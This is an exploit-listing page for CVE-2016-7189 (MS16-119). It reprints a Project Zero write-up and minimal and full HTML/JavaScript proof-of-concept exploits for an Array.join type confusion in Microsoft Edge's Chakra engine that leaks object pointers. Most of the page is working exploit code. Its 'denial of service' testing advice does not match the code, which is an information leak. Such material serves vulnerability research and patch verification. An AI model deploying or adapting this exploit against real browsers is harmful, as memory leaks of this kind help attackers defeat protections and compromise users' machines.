Materialized exploit

CVE-2016-7189

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge - 'Array.join' Infomation Leak (MS16-119)

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=919

When an array is joined in Chakra, it calls JavascriptArray::JoinArrayHelper, a function that is templated based on the type of the array. This function then calls JavascriptArray::TemplatedGetItem to get each item in the array. If an element is missing from the array, this function will fall back to the array object's prototype, which could contain a getter or a proxy, allowing user script to be executed. This script can have side effects, including changing the type of the array, however JoinArrayHelper will continue running as it's templated type even if this has happened. This can allow object pointers in an array to be read as integers and accessed by a malicious script.

A minimal PoC is as follows:


var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {

      t[0] = {};
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);

A full PoC is attached. One of the alert dialogs contains pointers to JavaScript objects.
-->

<html><body><script>

var y = 0;
var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      alert('get!');
      t[0] = {};
      var j = [];
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);
var a = s.split(",");
var h = [];
for(item in a){
	var n = parseInt(a[item]);
     if (n < 0){
		n = n + 0x100000000;
     }
	var ss = n.toString(16);
      h.push(ss);
}
alert(h);

</script></body></html>